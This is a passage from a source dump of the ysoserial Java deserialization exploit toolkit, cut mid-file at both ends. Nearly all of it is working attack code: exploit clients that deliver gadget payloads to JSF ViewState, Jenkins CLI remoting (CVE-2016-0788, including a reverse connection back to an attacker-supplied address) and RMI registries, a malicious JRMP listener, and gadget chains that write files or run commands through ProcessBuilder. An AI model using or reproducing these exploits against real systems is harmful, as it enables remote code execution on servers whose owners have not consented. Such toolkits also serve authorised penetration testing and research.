s.getRemoteSocketAddress();\n                        System.err.println(\"Have connection from \" + remote);\n\n                        InputStream is = s.getInputStream();\n                        InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);\n\n                        // Read magic (or HTTP wrapper)\n                        bufIn.mark(4);\n                        DataInputStream in = new DataInputStream(bufIn);\n                        int magic = in.readInt();\n\n                        short version = in.readShort();\n                        if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {\n                            s.close();\n                            continue;\n                        }\n\n                        OutputStream sockOut = s.getOutputStream();\n                        BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);\n                        DataOutputStream out = new DataOutputStream(bufOut);\n\n                        byte protocol = in.readByte();\n                        switch ( protocol ) {\n                        case TransportConstants.StreamProtocol:\n                            out.writeByte(TransportConstants.ProtocolAck);\n                            if ( remote.getHostName() != null ) {\n                                out.writeUTF(remote.getHostName());\n                            } else {\n                                out.writeUTF(remote.getAddress().toString());\n                            }\n                            out.writeInt(remote.getPort());\n                            out.flush();\n                            in.readUTF();\n                            in.readInt();\n                        case TransportConstants.SingleOpProtocol:\n                            doMessage(s, in, out, this.payloadObject);\n                            break;\n                        default:\n                        case TransportConstants.MultiplexProtocol:\n                            System.err.println(\"Unsupported protocol\");\n                            s.close();\n                            continue;\n                        }\n\n                        bufOut.flush();\n                        out.flush();\n                    }\n                    catch ( InterruptedException e ) {\n                        return;\n                    }\n                    catch ( Exception e ) {\n                        e.printStackTrace(System.err);\n                    }\n                    finally {\n                        System.err.println(\"Closing connection\");\n                        s.close();\n                    }\n\n                }\n\n            }\n            finally {\n                if ( s != null ) {\n                    s.close();\n                }\n                if ( this.ss != null ) {\n                    this.ss.close();\n                }\n            }\n\n        }\n        catch ( SocketException e ) {\n            return;\n        }\n        catch ( Exception e ) {\n            e.printStackTrace(System.err);\n        }\n    }\n\n\n    private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {\n        System.err.println(\"Reading message...\");\n\n        int op = in.read();\n\n        switch ( op ) {\n        case TransportConstants.Call:\n            // service incoming RMI call\n            doCall(in, out, payload);\n            break;\n\n        case TransportConstants.Ping:\n            // send ack for ping\n            out.writeByte(TransportConstants.PingAck);\n            break;\n\n        case TransportConstants.DGCAck:\n            UID u = UID.read(in);\n            break;\n\n        default:\n            throw new IOException(\"unknown transport op \" + op);\n        }\n\n        s.close();\n    }\n\n\n    private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {\n        ObjectInputStream ois = new ObjectInputStream(in) {\n\n            @Override\n            protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {\n                if ( \"[Ljava.rmi.server.ObjID;\".equals(desc.getName())) {\n                    return ObjID[].class;\n                } else if (\"java.rmi.server.ObjID\".equals(desc.getName())) {\n                    return ObjID.class;\n                } else if ( \"java.rmi.server.UID\".equals(desc.getName())) {\n                    return UID.class;\n                }\n                throw new IOException(\"Not allowed to read object\");\n            }\n        };\n\n        ObjID read;\n        try {\n            read = ObjID.read(ois);\n        }\n        catch ( java.io.IOException e ) {\n            throw new MarshalException(\"unable to read objID\", e);\n        }\n\n\n        if ( read.hashCode() == 2 ) {\n            ois.readInt(); // method\n            ois.readLong(); // hash\n            System.err.println(\"Is DGC call for \" + Arrays.toString((ObjID[])ois.readObject()));\n        }\n\n        System.err.println(\"Sending return with payload for obj \" + read);\n\n        out.writeByte(TransportConstants.Return);// transport op\n        ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);\n\n        oos.writeByte(TransportConstants.ExceptionalReturn);\n        new UID().write(oos);\n\n        BadAttributeValueExpException ex = new BadAttributeValueExpException(null);\n        Reflections.setFieldValue(ex, \"val\", payload);\n        oos.writeObject(ex);\n\n        oos.flush();\n        out.flush();\n\n        this.hadConnection = true;\n        synchronized ( this.waitLock ) {\n            this.waitLock.notifyAll();\n        }\n    }\n\n    @SuppressWarnings({\"deprecation\"})\n    protected static Object makeDummyObject (String className) {\n        try {\n            ClassLoader isolation = new ClassLoader() {};\n            ClassPool cp = new ClassPool();\n            cp.insertClassPath(new ClassClassPath(Dummy.class));\n            CtClass clazz = cp.get(Dummy.class.getName());\n            clazz.setName(className);\n            return clazz.toClass(isolation).newInstance();\n        }\n        catch ( Exception e ) {\n            e.printStackTrace();\n            return new byte[0];\n        }\n    }\n\n\n    public static class Dummy implements Serializable {\n        private static final long serialVersionUID = 1L;\n\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JSF.java",
    "content": "package ysoserial.exploit;\n\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.OutputStream;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.net.URLEncoder;\n\nimport org.apache.commons.codec.binary.Base64;\n\nimport ysoserial.payloads.ObjectPayload.Utils;\n\n\n/**\n * JSF view state exploit\n * \n * Delivers a gadget payload via JSF ViewState token.\n * \n * This will only work if ViewState encryption/mac is disabled.\n * \n * While it has been long known that client side state saving\n * with encryption disabled leads to RCE via EL injection,\n * this of course also works with deserialization gadgets.\n * \n * Also, it turns out that MyFaces is vulnerable to this even when \n * using server-side state saving\n * (yes, please, let's (de-)serialize a String as an Object).   \n * \n * @author mbechler\n *\n */\npublic class JSF {\n\n    public static void main ( String[] args ) {\n\n        if ( args.length < 3 ) {\n            System.err.println(JSF.class.getName() + \" <view_url> <payload_type> <payload_arg>\");\n            System.exit(-1);\n        }\n\n        final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);\n\n        try {\n            URL u = new URL(args[ 0 ]);\n\n            URLConnection c = u.openConnection();\n            if ( ! ( c instanceof HttpURLConnection ) ) {\n                throw new IllegalArgumentException(\"Not a HTTP url\");\n            }\n\n            HttpURLConnection hc = (HttpURLConnection) c;\n            hc.setDoOutput(true);\n            hc.setRequestMethod(\"POST\");\n            hc.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n            OutputStream os = hc.getOutputStream();\n\n            ByteArrayOutputStream bos = new ByteArrayOutputStream();\n            ObjectOutputStream oos = new ObjectOutputStream(bos);\n            oos.writeObject(payloadObject);\n            oos.close();\n            byte[] data = bos.toByteArray();\n            String requestBody = \"javax.faces.ViewState=\" + URLEncoder.encode(Base64.encodeBase64String(data), \"US-ASCII\");\n            os.write(requestBody.getBytes(\"US-ASCII\"));\n            os.close();\n\n            System.err.println(\"Have response code \" + hc.getResponseCode() + \" \" + hc.getResponseMessage());\n        }\n        catch ( Exception e ) {\n            e.printStackTrace(System.err);\n        }\n        Utils.releasePayload(args[1], payloadObject);\n\n    }\n\n\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JenkinsCLI.java",
    "content": "package ysoserial.exploit;\n\nimport java.io.DataOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.net.HttpURLConnection;\nimport java.net.InetSocketAddress;\nimport java.net.MalformedURLException;\nimport java.net.Socket;\nimport java.net.SocketException;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ThreadFactory;\n\nimport javax.net.SocketFactory;\n\nimport hudson.remoting.Callable;\nimport hudson.remoting.Channel;\nimport hudson.remoting.Channel.Mode;\nimport hudson.remoting.ChannelBuilder;\nimport ysoserial.payloads.ObjectPayload.Utils;\nimport ysoserial.payloads.util.Reflections;\n\n/**\n * Jenkins CLI client\n * \n * Jenkins unfortunately is still using a custom serialization based\n * protocol for remote communications only protected by a blacklisting\n * application level filter.\n * \n * This is a generic client delivering a gadget chain payload via that protocol. \n * \n * @author mbechler\n *\n */\npublic class JenkinsCLI {\n    public static final void main ( final String[] args ) {\n        if ( args.length < 3 ) {\n            System.err.println(JenkinsCLI.class.getName() + \" <jenkins_url> <payload_type> <payload_arg>\");\n            System.exit(-1);\n        }\n\n        final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);\n\n        String jenkinsUrl = args[ 0 ];\n        Channel c = null;\n        try {\n            InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);\n            c = JenkinsCLI.openChannel(isa);\n            c.call(getPropertyCallable(payloadObject));\n        }\n        catch ( Throwable e ) {\n            e.printStackTrace();\n        }\n        finally {\n            if ( c != null ) {\n                try {\n                    c.close();\n                }\n                catch ( IOException e ) {\n                    e.printStackTrace(System.err);\n                }\n            }\n        }\n        Utils.releasePayload(args[1], payloadObject);\n    }\n\n    public static Callable<?, ?> getPropertyCallable ( final Object prop )\n            throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {\n        Class<?> reqClass = Class.forName(\"hudson.remoting.RemoteInvocationHandler$RPCRequest\");\n        Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);\n        Reflections.setAccessible(reqCons);\n        Object getJarLoader = reqCons\n                .newInstance(1, Class.forName(\"hudson.remoting.IChannel\").getMethod(\"getProperty\", Object.class), new Object[] {\n                    prop\n        });\n        return (Callable<?, ?>) getJarLoader;\n    }\n\n    public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {\n        URL u = new URL(jenkinsUrl);\n    \n        URLConnection conn = u.openConnection();\n        if ( ! ( conn instanceof HttpURLConnection ) ) {\n            System.err.println(\"Not a HTTP URL\");\n            throw new MalformedURLException();\n        }\n    \n        HttpURLConnection hc = (HttpURLConnection) conn;\n        if ( hc.getResponseCode() >= 400 ) {\n            System.err.println(\"* Error connection to jenkins HTTP \" + u);\n        }\n        int clip = Integer.parseInt(hc.getHeaderField(\"X-Jenkins-CLI-Port\"));\n    \n        return new InetSocketAddress(u.getHost(), clip);\n    }\n\n    public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {\n        System.err.println(\"* Opening socket \" + isa);\n        Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());\n        s.setKeepAlive(true);\n        s.setTcpNoDelay(true);\n    \n        System.err.println(\"* Opening channel\");\n        OutputStream outputStream = s.getOutputStream();\n        DataOutputStream dos = new DataOutputStream(outputStream);\n        dos.writeUTF(\"Protocol:CLI-connect\");\n        ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {\n    \n            public Thread newThread ( Runnable r ) {\n                Thread t = new Thread(r, \"Channel\");\n                t.setDaemon(true);\n                return t;\n            }\n        });\n        Channel c = new ChannelBuilder(\"EXPLOIT\", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);\n        System.err.println(\"* Channel open\");\n        return c;\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JenkinsListener.java",
    "content": "package ysoserial.exploit;\n\n\nimport java.io.DataOutputStream;\nimport java.io.IOException;\nimport java.io.ObjectOutputStream;\nimport java.io.OutputStream;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Proxy;\nimport java.net.InetSocketAddress;\nimport java.net.Socket;\nimport java.rmi.activation.ActivationDesc;\nimport java.rmi.activation.ActivationID;\nimport java.rmi.activation.ActivationInstantiator;\n\nimport javax.net.SocketFactory;\n\nimport hudson.remoting.Callable;\nimport hudson.remoting.Channel;\nimport hudson.remoting.JarLoader;\nimport sun.rmi.server.Util;\nimport sun.rmi.transport.TransportConstants;\nimport ysoserial.payloads.JRMPListener;\nimport ysoserial.payloads.ObjectPayload;\nimport ysoserial.payloads.ObjectPayload.Utils;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n * CVE-2016-0788 exploit (1)\n * \n * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.\n * 2. that payload causes the remote server to open up an JRMP listener (and export an object).\n * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.\n * \n * Extra twist:\n * The well-known objects exported by the listener use the system classloader which usually\n * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id\n * (which is using jenkins' classloader) that typically is properly randomized.\n * Fortunately - for the exploiting party - there is also a gadget that allows to leak\n * that identifier via an exception.\n * \n * @author mbechler\n */\n@SuppressWarnings ( {\n    \"rawtypes\", \"restriction\"\n} )\npublic class JenkinsListener {\n\n    public static final void main ( final String[] args ) {\n\n        if ( args.length < 3 ) {\n            System.err.println(JenkinsListener.class.getName() + \" <jenkins_url> <payload_type> <payload_arg>\");\n            System.exit(-1);\n        }\n\n        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);\n        if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {\n            System.err.println(\"Invalid payload type '\" + args[ 1 ] + \"'\");\n            System.exit(-1);\n        }\n\n        String jenkinsUrl = args[ 0 ];\n        int jrmpPort = 12345;\n\n        Channel c = null;\n        try {\n            InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);\n            c = JenkinsCLI.openChannel(isa);\n\n            Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + \".ours\"));\n            InvocationHandler remote = Proxy.getInvocationHandler(call);\n            int oid = Reflections.getField(Class.forName(\"hudson.remoting.RemoteInvocationHandler\"), \"oid\").getInt(remote);\n\n            System.err.println(\"* JarLoader oid is \" + oid);\n\n            Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));\n            \n            Class<?> reqClass = Class.forName(\"hudson.remoting.RemoteInvocationHandler$RPCRequest\");\n\n            Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);\n\n            try {\n                c.call((Callable<?, ?>) o);\n            }\n            catch ( Exception e ) {\n                // [ActivationGroupImpl[UnicastServerRef [liveRef:\n                // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,\n                // -9046794842107247609]]\n\n                System.err.println(e.getMessage());\n\n                parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);\n            }\n\n        }\n        catch ( Throwable e ) {\n            e.printStackTrace();\n        }\n        finally {\n            if ( c != null ) {\n                try {\n                    c.close();\n                }\n                catch ( IOException e ) {\n                    e.printStackTrace(System.err);\n                }\n            }\n        }\n\n    }\n\n\n    private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )\n            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {\n        Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);\n        Reflections.setAccessible(reqCons);\n        return reqCons\n                .newInstance(oid, JarLoader.class.getMethod(\"isPresentOnRemote\", Class.forName(\"hudson.remoting.Checksum\")), new Object[] {\n                    uro,\n        });\n    }\n\n\n    private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,\n            InetSocketAddress isa, Exception e ) throws Exception, IOException {\n        String msg = e.getMessage();\n        int start = msg.indexOf(\"objID:[\");\n        if ( start < 0 ) {\n            throw new Exception(\"Failed to get object id\");\n        }\n\n        int sep = msg.indexOf(\", \", start + 1);\n\n        if ( sep < 0 ) {\n            throw new Exception(\"Failed to get object id, separator\");\n        }\n\n        int end = msg.indexOf(\"]\", sep + 1);\n\n        if ( end < 0 ) {\n            throw new Exception(\"Failed to get object id, separator\");\n        }\n\n        String uid = msg.substring(start + 7, sep);\n        String objNum = msg.substring(sep + 2, end);\n\n        System.err.println(\"* UID is \" + uid);\n        System.err.println(\"* ObjNum is \" + objNum);\n\n        String[] parts = uid.split(\":\");\n\n        long obj = Long.parseLong(objNum);\n        int o1 = Integer.parseInt(parts[ 0 ], 16);\n        long o2 = Long.parseLong(parts[ 1 ], 16);\n        short o3 = Short.parseShort(parts[ 2 ], 16);\n\n        exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);\n    }\n\n\n    private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )\n            throws IOException {\n        Socket s = null;\n        DataOutputStream dos = null;\n        try {\n            System.err.println(\"* Opening JRMP socket \" + isa);\n            s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());\n            s.setKeepAlive(true);\n            s.setTcpNoDelay(true);\n\n            OutputStream os = s.getOutputStream();\n            dos = new DataOutputStream(os);\n\n            dos.writeInt(TransportConstants.Magic);\n            dos.writeShort(TransportConstants.Version);\n            dos.writeByte(TransportConstants.SingleOpProtocol);\n\n            dos.write(TransportConstants.Call);\n\n            @SuppressWarnings ( \"resource\" )\n            final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);\n\n            objOut.writeLong(obj);\n            objOut.writeInt(o1);\n            objOut.writeLong(o2);\n            objOut.writeShort(o3);\n\n            objOut.writeInt(-1);\n            objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod(\"newInstance\", ActivationID.class, ActivationDesc.class)));\n\n            final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();\n            final Object object = payload.getObject(payloadArg);\n            objOut.writeObject(object);\n            os.flush();\n            ObjectPayload.Utils.releasePayload(payload, object);\n        }\n        catch ( Exception e ) {\n            e.printStackTrace(System.err);\n        }\n        finally {\n            if ( dos != null ) {\n                dos.close();\n            }\n            if ( s != null ) {\n                s.close();\n            }\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/JenkinsReverse.java",
    "content": "package ysoserial.exploit;\n\n\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.rmi.registry.Registry;\nimport java.util.Random;\n\nimport hudson.remoting.Channel;\nimport ysoserial.exploit.JRMPListener;\nimport ysoserial.payloads.JRMPClient;\nimport ysoserial.payloads.ObjectPayload.Utils;\n\n\n/**\n * CVE-2016-0788 exploit (2)\n * \n * - Sets up a local {@link JRMPListener}\n * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol \n *   that will cause the remote to open a JRMP connection to our listener\n * - upon connection the specified payload will be delivered to the remote \n *    (that will deserialize using a default ObjectInputStream)\n * \n * @author mbechler\n *\n */\npublic class JenkinsReverse {\n\n    public static final void main ( final String[] args ) {\n        if ( args.length < 4 ) {\n            System.err.println(JenkinsListener.class.getName() + \" <jenkins_url> <local_addr> <payload_type> <payload_arg>\");\n            System.exit(-1);\n        }\n\n\n        final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);\n        String myAddr = args[ 1 ];\n        int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;\n        String jenkinsUrl = args[ 0 ];\n\n        Thread t = null;\n        Channel c = null;\n        try {\n            InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);\n            c = JenkinsCLI.openChannel(isa);\n            JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);\n            t = new Thread(listener, \"ReverseDGC\");\n            t.setDaemon(true);\n            t.start();\n            Registry payload = new JRMPClient().getObject(myAddr + \":\" + jrmpPort);\n            c.call(JenkinsCLI.getPropertyCallable(payload));\n            listener.waitFor(1000);\n            listener.close();\n        }\n        catch ( Throwable e ) {\n            e.printStackTrace();\n        }\n        finally {\n            if ( c != null ) {\n                try {\n                    c.close();\n                }\n                catch ( IOException e ) {\n                    e.printStackTrace(System.err);\n                }\n            }\n\n            if ( t != null ) {\n                t.interrupt();\n                try {\n                    t.join();\n                }\n                catch ( InterruptedException e ) {\n                    e.printStackTrace(System.err);\n                }\n            }\n        }\n        Utils.releasePayload(args[2], payloadObject);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/exploit/RMIRegistryExploit.java",
    "content": "package ysoserial.exploit;\n\nimport java.io.IOException;\nimport java.net.Socket;\nimport java.rmi.ConnectIOException;\nimport java.rmi.Remote;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.rmi.server.RMIClientSocketFactory;\nimport java.security.cert.X509Certificate;\nimport java.util.concurrent.Callable;\nimport javax.net.ssl.*;\n\nimport ysoserial.payloads.CommonsCollections1;\nimport ysoserial.payloads.ObjectPayload;\nimport ysoserial.payloads.ObjectPayload.Utils;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.secmgr.ExecCheckingSecurityManager;\n\n/*\n * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.\n * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.\n *\n * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote\n * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .\n */\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\npublic class RMIRegistryExploit {\n\tprivate static class TrustAllSSL implements X509TrustManager {\n\t\tprivate static final X509Certificate[] ANY_CA = {};\n\t\tpublic X509Certificate[] getAcceptedIssuers() { return ANY_CA; }\n\t\tpublic void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }\n\t\tpublic void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }\n\t}\n\n\tprivate static class RMISSLClientSocketFactory implements RMIClientSocketFactory {\n\t\tpublic Socket createSocket(String host, int port) throws IOException {\n\t\t\ttry {\n\t\t\t\tSSLContext ctx = SSLContext.getInstance(\"TLS\");\n\t\t\t\tctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);\n\t\t\t\tSSLSocketFactory factory = ctx.getSocketFactory();\n\t\t\t\treturn factory.createSocket(host, port);\n\t\t\t} catch(Exception e) {\n\t\t\t\tthrow new IOException(e);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tfinal String host = args[0];\n\t\tfinal int port = Integer.parseInt(args[1]);\n\t\tfinal String command = args[3];\n\t\tRegistry registry = LocateRegistry.getRegistry(host, port);\n\t\tfinal String className = CommonsCollections1.class.getPackage().getName() +  \".\" + args[2];\n\t\tfinal Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);\n\n\t\t// test RMI registry connection and upgrade to SSL connection on fail\n\t\ttry {\n\t\t\tregistry.list();\n\t\t} catch(ConnectIOException ex) {\n\t\t\tregistry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());\n\t\t}\n\n\t\t// ensure payload doesn't detonate during construction or deserialization\n\t\texploit(registry, payloadClass, command);\n\t}\n\n\tpublic static void exploit(final Registry registry,\n\t\t\tfinal Class<? extends ObjectPayload> payloadClass,\n\t\t\tfinal String command) throws Exception {\n\t\tnew ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {\n\t\t\tObjectPayload payloadObj = payloadClass.newInstance();\n            Object payload = payloadObj.getObject(command);\n\t\t\tString name = \"pwned\" + System.nanoTime();\n\t\t\tRemote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);\n\t\t\ttry {\n\t\t\t\tregistry.bind(name, remote);\n\t\t\t} catch (Throwable e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\tUtils.releasePayload(payloadObj, payload);\n\t\t\treturn null;\n\t\t}});\n\t}\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/AspectJWeaver.java",
    "content": "package ysoserial.payloads;\n\nimport org.apache.commons.codec.binary.Base64;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\nimport java.io.Serializable;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\n\n/*\nGadget chain:\nHashSet.readObject()\n    HashMap.put()\n        HashMap.hash()\n            TiedMapEntry.hashCode()\n                TiedMapEntry.getValue()\n                    LazyMap.get()\n                        SimpleCache$StorableCachingMap.put()\n                            SimpleCache$StorableCachingMap.writeToPath()\n                                FileOutputStream.write()\n\nUsage:\nargs = \"<filename>;<base64 content>\"\nExample:\njava -jar ysoserial.jar AspectJWeaver \"ahi.txt;YWhpaGloaQ==\"\n\nMore information:\nhttps://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5\n */\n@PayloadTest(skip=\"non RCE\")\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@Dependencies({\"org.aspectj:aspectjweaver:1.9.2\", \"commons-collections:commons-collections:3.2.2\"})\n@Authors({ Authors.JANG })\n\npublic class AspectJWeaver implements ObjectPayload<Serializable> {\n\n    public Serializable getObject(final String command) throws Exception {\n        int sep = command.lastIndexOf(';');\n        if ( sep < 0 ) {\n            throw new IllegalArgumentException(\"Command format is: <filename>:<base64 Object>\");\n        }\n        String[] parts = command.split(\";\");\n        String filename = parts[0];\n        byte[] content = Base64.decodeBase64(parts[1]);\n\n        Constructor ctor = Reflections.getFirstCtor(\"org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap\");\n        Object simpleCache = ctor.newInstance(\".\", 12);\n        Transformer ct = new ConstantTransformer(content);\n        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);\n        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);\n        HashSet map = new HashSet(1);\n        map.add(\"foo\");\n        Field f = null;\n        try {\n            f = HashSet.class.getDeclaredField(\"map\");\n        } catch (NoSuchFieldException e) {\n            f = HashSet.class.getDeclaredField(\"backingMap\");\n        }\n\n        Reflections.setAccessible(f);\n        HashMap innimpl = (HashMap) f.get(map);\n\n        Field f2 = null;\n        try {\n            f2 = HashMap.class.getDeclaredField(\"table\");\n        } catch (NoSuchFieldException e) {\n            f2 = HashMap.class.getDeclaredField(\"elementData\");\n        }\n\n        Reflections.setAccessible(f2);\n        Object[] array = (Object[]) f2.get(innimpl);\n\n        Object node = array[0];\n        if(node == null){\n            node = array[1];\n        }\n\n        Field keyField = null;\n        try{\n            keyField = node.getClass().getDeclaredField(\"key\");\n        }catch(Exception e){\n            keyField = Class.forName(\"java.util.MapEntry\").getDeclaredField(\"key\");\n        }\n\n        Reflections.setAccessible(keyField);\n        keyField.set(node, entry);\n\n        return map;\n\n    }\n\n    public static void main(String[] args) throws Exception {\n        args = new String[]{\"ahi.txt;YWhpaGloaQ==\"};\n        PayloadRunner.run(AspectJWeaver.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/BeanShell1.java",
    "content": "package ysoserial.payloads;\n\nimport bsh.Interpreter;\nimport bsh.XThis;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.Arrays;\nimport java.util.Comparator;\nimport java.util.PriorityQueue;\n\nimport ysoserial.Strings;\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.util.Reflections;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.PayloadRunner;\n\n/**\n * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)\n */\n\n@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n@Dependencies({ \"org.beanshell:bsh:2.0b5\" })\n@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})\npublic class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {\n\n    public PriorityQueue getObject(String command) throws Exception {\n\t// BeanShell payload\n\n        String payload =\n            \"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\" +\n                Strings.join( // does not support spaces in quotes\n                    Arrays.asList(command.replaceAll(\"\\\\\\\\\",\"\\\\\\\\\\\\\\\\\").replaceAll(\"\\\"\",\"\\\\\\\"\").split(\" \")),\n                    \",\", \"\\\"\", \"\\\"\") +\n                \"}).start();return new Integer(1);}\";\n\n\t// Create Interpreter\n\tInterpreter i = new Interpreter();\n\n\t// Evaluate payload\n\ti.eval(payload);\n\n\t// Create InvocationHandler\n\tXThis xt = new XThis(i.getNameSpace(), i);\n\tInvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), \"invocationHandler\").get(xt);\n\n\t// Create Comparator Proxy\n\tComparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);\n\n\t// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)\n\tfinal PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);\n\tObject[] queue = new Object[] {1,1};\n\tReflections.setFieldValue(priorityQueue, \"queue\", queue);\n\tReflections.setFieldValue(priorityQueue, \"size\", 2);\n\n\treturn priorityQueue;\n    }\n\n    public static void main(final String[] args) throws Exception {\n\tPayloadRunner.run(BeanShell1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/C3P0.java",
